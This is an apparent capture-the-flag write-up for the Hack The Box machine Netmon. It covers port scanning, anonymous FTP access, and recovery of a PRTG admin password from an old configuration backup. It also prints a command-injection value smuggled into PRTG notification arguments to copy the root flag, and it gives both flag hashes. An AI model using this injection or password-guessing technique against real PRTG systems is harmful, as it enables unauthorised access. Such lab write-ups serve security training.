Hack The Box - Writeup

Netmon

C1sc0

April 12, 2019

Table of Content

Recon

As always starting with nmap.

nmap

```
Discovered open port 135/tcp on 10.10.10.152
Discovered open port 445/tcp on 10.10.10.152
Discovered open port 21/tcp on 10.10.10.152
Discovered open port 139/tcp on 10.10.10.152
Discovered open port 80/tcp on 10.10.10.152
Discovered open port 47001/tcp on 10.10.10.152
Discovered open port 49664/tcp on 10.10.10.152
Discovered open port 49668/tcp on 10.10.10.152
Discovered open port 49669/tcp on 10.10.10.152
Discovered open port 49667/tcp on 10.10.10.152
Discovered open port 49666/tcp on 10.10.10.152
Discovered open port 49665/tcp on 10.10.10.152
Discovered open port 5985/tcp on 10.10.10.152
```

Initial Foothold - Get user.txt

user.txt can be found within the anonymous login at the ftp service. In Publics User folder it is.

```
dd58ce67b49e15105e88096c8d9255a5
```

This won't still give you a shell though.

Priv Esc - Get root.txt

It can be found that there is an old backup of a prtg installations configuration:

```
--- loot/netmon <master* >? » cat PRTG\ Configuration.old.bak | grep -C4 -i prtgadmin
            <dbcredentials>
              0
            </dbcredentials>
            <dbpassword>
          <!-- User: prtgadmin -->
          PrTg@dmin2018
            </dbpassword>
            <dbtimeout>
```

The password does not work out quite well, but as it is the year 2019 the password is: `PrTg@dmin2019`. You can use the password to logon to PRTG at port 80.

You now can misuse the notification settings and the script which PRTG will deliver to do a outfile. Just use the command arguments: `c1sc0.txt; Copy-item "C:\Users\Administrator\Desktop\root.txt" -Destination "C:\Users\Public\c1sc0.txt" -Recurse` and you can grab the root flag afterwards using ftp.

```
3018977fb944bf1878f75b879fba67cc
```